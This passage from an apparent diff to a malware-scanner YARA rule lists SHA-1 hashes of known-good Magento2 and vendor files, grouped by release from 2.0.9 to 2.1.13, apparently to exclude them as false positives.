"385e32ecaaaa3a0c41adc65de81ea120d218cf82" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/BracesFixerTest.php - hash.sha1(0, filesize) == "5b3d6eb358bbec82eb1ba43631cf9e4be786a227" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/UnneededControlParenthesesFixerTest.php - hash.sha1(0, filesize) == "02de582f2d14ebc6bb2822c75a4bf547e55efe9f" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/NewWithBracesFixerTest.php - - /* Magento2 2.0.9 */ - hash.sha1(0, filesize) == "78df93e21f17c38ba43d3ff5ce35dea223b867e1" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/BracesFixerTest.php - - /* Magento2 2.0.10 */ - hash.sha1(0, filesize) == "2fb8066ba8f7a6509ca5483a8cf436e0f8692c2a" or // vendor/symfony/process/ExecutableFinder.php - hash.sha1(0, filesize) == "e1023b6db60214d8af90a29fc499cf4e559825b8" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "4d484b8c942943b66095429aeb3dbc5f7043c33e" or // vendor/seld/jsonlint/bin/jsonlint - hash.sha1(0, filesize) == "23ba985a4971dfd9cca89f21e0b236172048d222" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tokenizer/Transformer/DynamicVarBrace.php - hash.sha1(0, filesize) == "030764f1b7821cc2d84644961c37620da2d90f61" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocShortDescriptionFixer.php - hash.sha1(0, filesize) == "4d484b8c942943b66095429aeb3dbc5f7043c33e" or // vendor/bin/jsonlint - - /* Magento2 2.0.11 */ - hash.sha1(0, filesize) == "c5e894f794e51cbe8e2880bc8d3ca66cdf03cc7c" or // app/code/Magento/Quote/Api/CartRepositoryInterface.php - hash.sha1(0, filesize) == "e9121ed645f2c14e6823d538f2fd178b397e8a0c" or // app/code/Magento/Quote/Api/GuestPaymentMethodManagementInterface.php - hash.sha1(0, filesize) == "b8bb6b6d02da2fdd37175c761fa97d783c41fc82" or // app/code/Magento/Quote/Api/PaymentMethodManagementInterface.php - hash.sha1(0, filesize) == "39e3e7114633b0e34c857f0870993aac7e22f194" or // app/code/Magento/SalesRule/Api/RuleRepositoryInterface.php - hash.sha1(0, filesize) == "f22f4f8bc8c4e523ece560c6deeb19dad0901fb1" or // app/code/Magento/SalesRule/Api/CouponRepositoryInterface.php - hash.sha1(0, filesize) == "156edf7756b2c963de57a8ca24d82235c104dd99" or // app/code/Magento/Sales/Api/InvoiceRepositoryInterface.php - hash.sha1(0, filesize) == "2129b5635fff163dae53baebe5d1757bff12b94a" or // app/code/Magento/Sales/Api/TransactionRepositoryInterface.php - hash.sha1(0, filesize) == "a6a47849ce9bca1fb77c6a79881a71225077066b" or // app/code/Magento/Sales/Api/OrderItemRepositoryInterface.php - hash.sha1(0, filesize) == "467525aff9535f9f0c0aef54d7d08fa6e47a7c74" or // app/code/Magento/Sales/Api/ShipmentRepositoryInterface.php - hash.sha1(0, filesize) == "8d5b554f736f880a8ece739853af0cc48bb5a812" or // app/code/Magento/Sales/Api/CreditmemoRepositoryInterface.php - hash.sha1(0, filesize) == "91fffd76393bb2c842979f3b692bbefa7c5aeb16" or // app/code/Magento/Sales/Api/OrderRepositoryInterface.php - hash.sha1(0, filesize) == "f42cc5335de5f06535e8e077206e177a9c896637" or // app/code/Magento/Tax/Api/TaxClassRepositoryInterface.php - hash.sha1(0, filesize) == "021e596bb7a67a5a938e4a845701a69f82b45b57" or // app/code/Magento/Tax/Api/TaxRuleRepositoryInterface.php - hash.sha1(0, filesize) == "8c2ae1628d5444fc225c331b0a9b804338fd2e1b" or // app/code/Magento/Tax/Api/TaxRateRepositoryInterface.php - hash.sha1(0, filesize) == "d61d6b62141e345c12ad4efbbc335b6753472f2d" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "1baf421486a3f9643effa9682c9e233889e1202f" or // app/code/Magento/Customer/Api/GroupRepositoryInterface.php - hash.sha1(0, filesize) == "4f697b5a0c0f1a596769e6320ae6615f2557992d" or // app/code/Magento/Customer/Api/CustomerRepositoryInterface.php - hash.sha1(0, filesize) == "5da62035633518dca120b129e4f633966bf1dbf5" or // app/code/Magento/Eav/Api/AttributeSetRepositoryInterface.php - hash.sha1(0, filesize) == "24474e40bd0f47603105df1e9440ec4ad3604b49" or // dev/tests/integration/framework/bootstrap.php - hash.sha1(0, filesize) == "9f6856d545db59534fa19e9484d63c6262a27e6b" or // vendor/symfony/process/ExecutableFinder.php - hash.sha1(0, filesize) == "85753e9603a8257660ca373f5dd1ec54043ff183" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "efb174da3eba83465a2b22c41724a38ab021adc3" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "fe66d643505f98a8701e16a16df941db1e013acd" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - - /* Magento2 2.0.12 */ - hash.sha1(0, filesize) == "29509547a3df49795cd94499b8e5186a0d631f50" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "3a921750e6d75d4c48ffc27325a5e599ebe0268a" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "368ee3a68a2dd9486ac0592cddc9956656daea26" or // vendor/magento/zendframework1/library/Zend/Locale/Format.php - hash.sha1(0, filesize) == "d92effc195a34f3ef57ef1019e9517fd87fdb21a" or // vendor/composer/composer/src/Composer/Util/Git.php - hash.sha1(0, filesize) == "648c71bf728c5ac30a78669003a5f8ac04db08c3" or // vendor/composer/composer/src/Composer/Command/ShowCommand.php - hash.sha1(0, filesize) == "f8d7d78a68a7a454a3800a8ac16c1c7b9ad749f2" or // vendor/composer/composer/src/Composer/Command/ConfigCommand.php - - /* Magento2 2.0.13 */ - hash.sha1(0, filesize) == "ddead59890d2c99e76e468094d68fc419cbabbe7" or // app/code/Magento/Backend/Model/Url.php - hash.sha1(0, filesize) == "3c024cef3450f55e1f2dc50d757eb6bda8e0aa9c" or // app/code/Magento/Quote/Api/CartRepositoryInterface.php - hash.sha1(0, filesize) == "83e83fba96501b3453a4a0b7ab2f36b7426749f1" or // app/code/Magento/Quote/Api/GuestPaymentMethodManagementInterface.php - hash.sha1(0, filesize) == "01dbe0bbf6b9cb214410f2ff38181d8d164a53ef" or // app/code/Magento/Quote/Api/PaymentMethodManagementInterface.php - hash.sha1(0, filesize) == "17ea2b0b2d2bdc3cdccdd5dff2a7246768049180" or // app/code/Magento/SalesRule/Api/RuleRepositoryInterface.php - hash.sha1(0, filesize) == "b7b54740e243add6033baca3770f76146c7b9ba5" or // app/code/Magento/SalesRule/Api/CouponRepositoryInterface.php - hash.sha1(0, filesize) == "0717b4bb444caec9679d7c0d6f6e9abb9442670b" or // app/code/Magento/Sales/Api/InvoiceRepositoryInterface.php - hash.sha1(0, filesize) == "5b871a979d648fe6474e232c656b92274e8abbf4" or // app/code/Magento/Sales/Api/TransactionRepositoryInterface.php - hash.sha1(0, filesize) == "5bcf446b284592eb9e4c64ad87b317a73fa5f463" or // app/code/Magento/Sales/Api/OrderItemRepositoryInterface.php - hash.sha1(0, filesize) == "2c52f35481456d3c8dac49cd1ecc25792e0ae2d7" or // app/code/Magento/Sales/Api/ShipmentRepositoryInterface.php - hash.sha1(0, filesize) == "e121a225b0d12d2e4c03eac6deb45aa6c11249fb" or // app/code/Magento/Sales/Api/CreditmemoRepositoryInterface.php - hash.sha1(0, filesize) == "d466f44dfb788cea74af332178be3442ad0de7e9" or // app/code/Magento/Sales/Api/OrderRepositoryInterface.php - hash.sha1(0, filesize) == "da9512c83a01edcb7562377f1c41bc1be93a15ed" or // app/code/Magento/Tax/Api/TaxClassRepositoryInterface.php - hash.sha1(0, filesize) == "b0627f6c3fc7571b81f7c677a5d2bf287e0b55ff" or // app/code/Magento/Tax/Api/TaxRuleRepositoryInterface.php - hash.sha1(0, filesize) == "5aea5bcef2771467d3e4c84dd304217c3d096872" or // app/code/Magento/Tax/Api/TaxRateRepositoryInterface.php - hash.sha1(0, filesize) == "e49284de86eac76c768ad5013c7ca71be0869305" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/samples.phtml - hash.sha1(0, filesize) == "d89a4ba6245d4d8a24fe1d98c86ecd2ec4b40dcc" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "e74fc9b2dad2b6cab8b22e7d96ebc49a7cae9896" or // app/code/Magento/Customer/Api/GroupRepositoryInterface.php - hash.sha1(0, filesize) == "09abaf69f729ab2922aeda3fa8475d67795a2d7b" or // app/code/Magento/Customer/Api/CustomerRepositoryInterface.php - hash.sha1(0, filesize) == "59da4d114e17ddb20be53460cde1aba2868e2d30" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "de5c49a3b9703f4f95584575d970654b3e6b839f" or // app/code/Magento/Eav/Api/AttributeSetRepositoryInterface.php - hash.sha1(0, filesize) == "08902d712ff9dd3e6c09a7c208992af082f9c757" or // dev/tests/js/JsTestDriver/run_js_tests.php - hash.sha1(0, filesize) == "cacb07cec83967672afa69ef06bfd0ca456a1f58" or // dev/tests/api-functional/framework/bootstrap.php - hash.sha1(0, filesize) == "111c13f7fa513fcf3f4438fe57bb7c049c12ddfe" or // dev/tests/integration/framework/bootstrap.php - hash.sha1(0, filesize) == "050602a0e718f4bcbdbd4bac123dac20bb9d6bd0" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "c734de5a7d259c8d04d7ab33ab8d3fd5d7df795f" or // dev/tests/static/testsuite/Magento/Test/Legacy/ObsoleteCodeTest.php - hash.sha1(0, filesize) == "008fa7b844781b883d85d947cc089262c798cd8c" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "4398f0d56d5a74097ec5899c3a1714aaa6e28088" or // dev/tests/static/testsuite/Magento/Test/Integrity/DependencyTest.php - hash.sha1(0, filesize) == "07d218a9f05e1ba2ae5e06908c4a7cfbdf07325c" or // lib/internal/Magento/Framework/Shell.php - hash.sha1(0, filesize) == "2c831eeb01158462fb44fd12a3e52a00a23cd89c" or // lib/internal/Magento/Framework/View/Design/Theme/Validator.php - hash.sha1(0, filesize) == "7c0acbee4469e930b0a3da3f143fe36e77b0c347" or // lib/internal/Magento/Framework/View/Model/Layout/Merge.php - hash.sha1(0, filesize) == "15282670aaed1d3f1fcc8247adc45de8546669c7" or // lib/internal/Magento/Framework/Filter/Test/Unit/TranslitTest.php - hash.sha1(0, filesize) == "1294e45f10b4b4eb609c3b0654562317176abd49" or // lib/internal/Magento/Framework/Api/Code/Generator/ExtensionAttributesGenerator.php - hash.sha1(0, filesize) == "22ec9304340b38564305bf9e32d11b416bdf75d8" or // lib/internal/Magento/Framework/Validator/Constraint/Option/Callback.php - - /* Magento2 2.0.14 */ - hash.sha1(0, filesize) == "6ed1dcee63761ea913b67ca03ded42e96f590b36" or // vendor/symfony/process/ExecutableFinder.php - hash.sha1(0, filesize) == "aeffdf582ee6179f0df53cfc5fb508d30c79ca23" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "592ebc85426d16e61a417c1a603836f9b53811ab" or // vendor/symfony/process/Tests/ExecutableFinderTest.php - hash.sha1(0, filesize) == "1f9ca2f9b4eb4c3bc7b5d5638e0b0e361b995a36" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "2f559ac195c2c93bb28ed025e7a6851bda5cbfa9" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - - /* Magento2 2.0.15 */ - hash.sha1(0, filesize) == "91e0f69fbdf38d8e6e3ccfa0f8e806b1530be8e1" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "49f41cbd82a981cd6bd8f97ba13630b910fd8685" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - - /* Magento2 2.0.16 */ - hash.sha1(0, filesize) == "557045c6b3132e37a8b9b48c8ee6a26df50b8763" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "94f6f8ce54742d8b479760d681c0442df4fd3514" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "4e6118b35adcc7088377d58bdb1436267524e343" or // vendor/seld/jsonlint/bin/jsonlint - hash.sha1(0, filesize) == "4e6118b35adcc7088377d58bdb1436267524e343" or // vendor/bin/jsonlint - - /* Magento2 2.0.17 */ - hash.sha1(0, filesize) == "a788f8a799221cb24ddb7a8aeb33624e2cb476fc" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/samples.phtml - hash.sha1(0, filesize) == "963fb2ff6cf89995cb0b5fcac45d57dab9183d69" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "7fe6433f36919db43e23effd68a89f6d610865cc" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "bdf1fcbe43cdf5200e7e28bd25e845e8d731bc14" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "c4854bc0249e0f970521cc1cf57446f14309ff8c" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - - /* Magento2 2.0.18 */ - hash.sha1(0, filesize) == "b9e783094ae318eb8e8b57d83a6f81395d4b8807" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/samples.phtml - hash.sha1(0, filesize) == "cedd6b5448398afd9466997142f7c2438f2c932f" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "ac8139452995845aea88df75c02376eaf1e3a5f2" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "c8157cd5255c95c69498ae8fd5a57ec0015d1bdf" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - hash.sha1(0, filesize) == "11dbfaf75f2187398d49ea4a25878ef9342496af" or // vendor/seld/jsonlint/bin/jsonlint - hash.sha1(0, filesize) == "11dbfaf75f2187398d49ea4a25878ef9342496af" or // vendor/bin/jsonlint - - /* Magento2 2.1.0 */ - hash.sha1(0, filesize) == "64459becc8ec0520996804beba4aaba8fa18e558" or // app/code/Magento/Backend/Model/Url.php - hash.sha1(0, filesize) == "883a1d6ca14a96231887768babe9e8a0cd0800f4" or // app/code/Magento/SalesRule/Api/CouponRepositoryInterface.php - hash.sha1(0, filesize) == "1ef83ad7c62a035a71c786d2dd7de7fa993b88c9" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "0e4193c10af5017d0c2fd9300556d25b536e2251" or // app/code/Magento/Customer/Api/GroupRepositoryInterface.php - hash.sha1(0, filesize) == "85c69f4a3cfbe9670990523ba2c4be0225e5f5a0" or // app/code/Magento/Customer/Api/CustomerRepositoryInterface.php - hash.sha1(0, filesize) == "181aac8d1a67fe106fa750933e6d2fe2194c889e" or // dev/tests/static/testsuite/Magento/Test/Legacy/ObsoleteCodeTest.php - hash.sha1(0, filesize) == "25d56e294e9852fbddbbb377cc55dc46fa0d2976" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "8bd120bbe2369df9f9056d49fa6f4a6c62637bc4" or // dev/tests/static/testsuite/Magento/Test/Integrity/DependencyTest.php - hash.sha1(0, filesize) == "b8762bbde3a0202e289634005163291a8ee1cdb5" or // lib/internal/Magento/Framework/View/Model/Layout/Merge.php - hash.sha1(0, filesize) == "7ac6acb23d445922fbed93d4e19f14517ea710f9" or // lib/internal/Magento/Framework/Api/Code/Generator/ExtensionAttributesGenerator.php - hash.sha1(0, filesize) == "92f71e0f24fbb82eb1c761102930594d0299717e" or // lib/internal/Magento/Framework/Shell/Driver.php - hash.sha1(0, filesize) == "645a3175c03748862cffc45423f2af030ecc361a" or // vendor/oyejorge/less.php/lib/Less/Tree/Dimension.php - hash.sha1(0, filesize) == "f392af8f698d1d7faefbcc0d357eba20c1040459" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH2.php - hash.sha1(0, filesize) == "4e4ea26e0b80aedffec3b35057fd0496f74262c2" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH1.php - hash.sha1(0, filesize) == "b9cd8abb45de04dedb9c5391d2440cc22c1cba6a" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "33c6049f790a9d9629ad0334cb0cb775a12990b1" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "44d33c9aabf64223a32610b719ad77666050b6dc" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Tokenizer/TokensTest.php - hash.sha1(0, filesize) == "7af3018c4d08ebdeb88e072aab9e8909831a45b3" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/BracesFixerTest.php - hash.sha1(0, filesize) == "ae2c48bace90c07184b7f1e5b5dbf863ca6a5b75" or // vendor/fabpot/php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/NewWithBracesFixerTest.php - - /* Magento2 2.1.1 */ - hash.sha1(0, filesize) == "4b8a3269b7fb4d1bfc438a531f5675b44b01ba52" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH2.php - - /* Magento2 2.1.2 */ - - /* Magento2 2.1.3 */ - hash.sha1(0, filesize) == "76be172c911fee3eab5d821edde580e5805ed368" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "f68d5ea111181a2f292a0505159171b9711818e2" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "b48e85037627b2836145f25c6c7f459cff4b3cb2" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - - /* Magento2 2.1.4 */ - hash.sha1(0, filesize) == "1b63becf463667081e723caa0696f1b1b67437db" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - - /* Magento2 2.1.5 */ - hash.sha1(0, filesize) == "fa63bf2a0264c0044254c8e2dcc814ac7d8bddb2" or // app/code/Magento/Backend/Model/Url.php - hash.sha1(0, filesize) == "395458537df4051959c333ac7271c8a863150789" or // app/code/Magento/SalesRule/Api/CouponRepositoryInterface.php - hash.sha1(0, filesize) == "229f6fcbfcd1713d616f2bb89f7c8c9a31a2deb4" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "456f9f8ead4e7b606f1b35669bd2dac104e421fc" or // app/code/Magento/Customer/Api/GroupRepositoryInterface.php - hash.sha1(0, filesize) == "02578d94159f1d88b32d9c0861055485cb7391fa" or // app/code/Magento/Customer/Api/CustomerRepositoryInterface.php - hash.sha1(0, filesize) == "3f846c514532a7488b3268e62137cbef443d2471" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "843e8f286a4cf51ca5aa532beb07b0f0a64aa32e" or // dev/tests/integration/framework/bootstrap.php - hash.sha1(0, filesize) == "32401af11c757b96d8f65085b420861125fa3090" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "1004650dd15224d6dffe8fe72e409091b357afa2" or // dev/tests/static/testsuite/Magento/Test/Legacy/ObsoleteCodeTest.php - hash.sha1(0, filesize) == "5687d9871695c46aebfc6af286ee984654f93a82" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "cd1039bdd8d22ea99ffbcbdcbb05c5cb1a50b5e5" or // dev/tests/static/testsuite/Magento/Test/Integrity/DependencyTest.php - hash.sha1(0, filesize) == "d161688212ad42208d4c587f0530fba696fd0aca" or // lib/internal/Magento/Framework/View/Model/Layout/Merge.php - hash.sha1(0, filesize) == "5d327ec6c10da280b80958c76c030dec0a9de35e" or // lib/internal/Magento/Framework/Api/Code/Generator/ExtensionAttributesGenerator.php - hash.sha1(0, filesize) == "d8a6ed90677727852f0b20f6112d08c1da149818" or // lib/internal/Magento/Framework/Shell/Driver.php - - /* Magento2 2.1.6 */ - hash.sha1(0, filesize) == "e6078d183e380a919948c3b3b4971c5e049747d4" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "d302d6e931b946f47aa9ae5c42a99e59317777a5" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - - /* Magento2 2.1.7 */ - hash.sha1(0, filesize) == "bc8ae673be1f6d1253401f2347c1c115b2eb709c" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH2.php - hash.sha1(0, filesize) == "370f0f3a2475c045746d732e55d8a0e069096c7b" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH1.php - hash.sha1(0, filesize) == "46f2ec3159015327b7ced7e1f438cc9c27c280bf" or // vendor/symfony/dependency-injection/Dumper/PhpDumper.php - hash.sha1(0, filesize) == "30e1d4a9b8330866f6819b6d0450fc541b8bca24" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - hash.sha1(0, filesize) == "36d64a870bc04baf47a885a9c3806fd5b0d24023" or // vendor/pdepend/pdepend/src/bin/pdepend - hash.sha1(0, filesize) == "36d64a870bc04baf47a885a9c3806fd5b0d24023" or // vendor/bin/pdepend - - /* Magento2 2.1.8 */ - hash.sha1(0, filesize) == "ffab57b32ad85e87e337f09e74c57dcfe5e1501b" or // lib/web/tiny_mce/tiny_mce_jquery_src.js - hash.sha1(0, filesize) == "b7740681dc35c16ed01413b7e627655442a1cce0" or // lib/web/tiny_mce/tiny_mce_prototype_src.js - hash.sha1(0, filesize) == "4772981059bba37ee951778fe941d81d56cf18f4" or // lib/web/tiny_mce/tiny_mce_src.js - hash.sha1(0, filesize) == "398718704aad62d1cf8c17987b1ce355b5e99ea9" or // setup/src/Magento/Setup/Model/FixtureGenerator/BundleProductGenerator.php - hash.sha1(0, filesize) == "00fbcf8ef6037fd2391c98dc33a66848a28937d9" or // setup/src/Magento/Setup/Model/FixtureGenerator/ProductGenerator.php - - /* Magento2 2.1.9 */ - hash.sha1(0, filesize) == "ac29b321ea84532f0acec3409b3ba30a7e64c998" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "930713b472a4e7a847fff028975761d98f7fe767" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "c11ff15722cc309480b728064bc7b438bc953f02" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - - /* Magento2 2.1.10 */ - hash.sha1(0, filesize) == "dd3c76c21f587f44be23d457a1a1b8637bb30b47" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "44d8fa56264b9bdec449b1d9ea57d39596954971" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "cc3f72d557f455a2007da806998b8b763c38c131" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH2.php - hash.sha1(0, filesize) == "a23bb20be73c3ab8405cf1264469048dc22d027e" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH1.php - hash.sha1(0, filesize) == "6e53c5dbbdf61a9cfa527ab2882303118dd03692" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - - /* Magento2 2.1.11 */ - hash.sha1(0, filesize) == "cd3b469c4b1503d15d2cca1a797be5a5512dc141" or // app/code/Magento/Customer/Api/CustomerRepositoryInterface.php - hash.sha1(0, filesize) == "c129cce146f4c256bf67e1457400afd813bfa677" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH2.php - hash.sha1(0, filesize) == "da379747dcf7875aaaeeb5a7033f23609518c4b9" or // vendor/symfony/process/Process.php - hash.sha1(0, filesize) == "5eaec66ad7c4e08384550cea788aaf774f8aed8c" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - - /* Magento2 2.1.12 */ - hash.sha1(0, filesize) == "086c176ae4e7e5646fef9d1bd59b7bca237cd770" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/links.phtml - hash.sha1(0, filesize) == "6a4ac438335055f2c6c11e55ab1999c215f14e19" or // dev/tests/api-functional/framework/bootstrap.php - hash.sha1(0, filesize) == "dc9bcdad8e1dcacabf1bb1c7911a9e3442b71739" or // vendor/phpseclib/phpseclib/phpseclib/Net/SSH2.php - hash.sha1(0, filesize) == "3c18c3e87cc8a0acd751a3d00cf214a66a0238fd" or // vendor/phpseclib/phpseclib/phpseclib/Net/SFTP/Stream.php - hash.sha1(0, filesize) == "5d98e7c19aa3de7357d2db989b8073f7ca42a63c" or // vendor/symfony/filesystem/Tests/FilesystemTest.php - - /* Magento2 2.1.13 */ - hash.sha1(0, filesize) == "7c51edd333a7b2018cf4df44c80a94c5b99e7300" or // app/code/Magento/Backend/Model/Url.php - hash.sha1(0, filesize) == "24756173c733960651944ebc84fca62b5ebe4700" or // app/code/Magento/Quote/Api/CartRepositoryInterface.php - hash.sha1(0, filesize) == "44e349e59c1b9ab3197874065916af15bf55bd8d" or // app/code/Magento/Quote/Api/GuestPaymentMethodManagementInterface.php - hash.sha1(0, filesize) == "fbd29c51a445f7822ef9b571716f9b4ddc70b7d2" or // app/code/Magento/Quote/Api/PaymentMethodManagementInterface.php - hash.sha1(0, filesize) == "d8a4719ec45463b2f24c2c402e217b669f47e865" or // app/code/Magento/SalesRule/Api/RuleRepositoryInterface.php - hash.sha1(0, filesize) == "927662c6812bde2292995180f11009d2ab564fdf" or // app/code/Magento/SalesRule/Api/CouponRepositoryInterface.php - hash.sha1(0, filesize) == "64c683ac71020dda7a65fc9f246ab3931c389b3a" or // app/code/Magento/Sales/Api/InvoiceRepositoryInterface.php - hash.sha1(0, filesize) == "8970e14580ef6a85920d23d285b42b1d50fe3b0f" or // app/code/Magento/Sales/Api/TransactionRepositoryInterface.php - hash.sha1(0, filesize) == "112ce2a27bd9ccfe39bd6fe422f0c1dd00535ed4" or // app/code/Magento/Sales/Api/OrderItemRepositoryInterface.php - hash.sha1(0, filesize) == "cb41fcc6f7ff5005387f1d3952bb59859cefa6af" or // app/code/Magento/Sales/Api/ShipmentRepositoryInterface.php - hash.sha1(0, filesize) == "92c27bde01b4e9f005b0244668f872f1b063645b" or // app/code/Magento/Sales/Api/CreditmemoRepositoryInterface.php - hash.sha1(0, filesize) == "c11e08cc70ea47f9c76c0252c47342ea0dcc63cd" or // app/code/Magento/Sales/Api/OrderRepositoryInterface.php - hash.sha1(0, filesize) == "a1e8b6b6cece2378a626fcd7640caeb575807a81" or // app/code/Magento/Tax/Api/TaxClassRepositoryInterface.php - hash.sha1(0, filesize) == "e8f824853c18d7956ad402d15584c884e022e279" or // app/code/Magento/Tax/Api/TaxRuleRepositoryInterface.php - hash.sha1(0, filesize) == "e37c36c6c67d6c0726472bc792bbd96b76487ec9" or // app/code/Magento/Tax/Api/TaxRateRepositoryInterface.php - hash.sha1(0, filesize) == "366915b0c87c90d23c1516c88ddfce085aff3055" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/samples.phtml - hash.sha1(0, filesize) == "eee01dbf0891bf294a6e72dcab9ec79b27558a5a" or // app/code/Magento/Downloadable/view/adminhtml/templates/product/edit/downloadable/links.phtml - hash.sha1(0, filesize) == "61598b8e555ed8e00cb6fdd1a3bd9ae8c2db5631" or // app/code/Magento/Customer/Test/Unit/Controller/Account/EditPostTest.php - hash.sha1(0, filesize) == "5bcc966ecf955e4c7df5e93cfb502c367ec36170" or // app/code/Magento/Customer/Api/GroupRepositoryInterface.php - hash.sha1(0, filesize) == "3d8308628c5ac8518017d2655501b41fa2e04e4a" or // app/code/Magento/Customer/Api/CustomerRepositoryInterface.php - hash.sha1(0, filesize) == "6a7131f77cd11804e2f607f4acca903761bbe444" or // app/code/Magento/Catalog/Model/Product/Image.php - hash.sha1(0, filesize) == "3178b409e706058fdf9d96180444b779e411ecc9" or // app/code/Magento/Eav/Api/AttributeSetRepositoryInterface.php - hash.sha1(0, filesize) == "d43603dee33dc0e3368f09c2e759e59239e309b5" or // dev/tests/js/JsTestDriver/run_js_tests.php - hash.sha1(0, filesize) == "c130c0553897052c22eba031eb234f34a440ee12" or // dev/tests/api-functional/framework/bootstrap.php - hash.sha1(0, filesize) == "3156b1477f7b924c72a5d277f5b5e321ddf7e5ef" or // dev/tests/integration/framework/bootstrap.php - hash.sha1(0, filesize) == "b900ac374f064046262e00d5005a81345f142e68" or // dev/tests/integration/testsuite/Magento/Framework/Image/Adapter/InterfaceTest.php - hash.sha1(0, filesize) == "50215084a2d1c6680f84037560f9f7c38f8b50d2" or // dev/tests/static/testsuite/Magento/Test/Legacy/ObsoleteCodeTest.php - hash.sha1(0, filesize) == "53afa63b4d6c0225dacf5a415303bc4d37a78293" or // dev/tests/static/testsuite/Magento/Test/Legacy/_files/obsolete_classes.php - hash.sha1(0, filesize) == "a5153b12896785bdb61576ffe6a087cf0ee5f288" or // dev/tests/static/testsuite/Magento/Test/Integrity/DependencyTest.php - hash.sha1(0, filesize) == "29b626fbd91b2bbac0e6b8e1a6319f4b3a194e3d" or // lib/internal/Magento/Framework/Shell.php - hash.sha1(0, filesize) == "a8a7eca1c7e1537d4dd5a29f9dba9ee527778d8e" or // lib/internal/Magento/Framework/View/Design/Theme/Validator.php - hash.sha1(0, filesize) == "4e0e218e27b5e21ca4884638459b5b382097c162" or // lib/internal/Magento/Framework/View/Model/Layout/Merge.php - hash.sha1(0, filesize) == 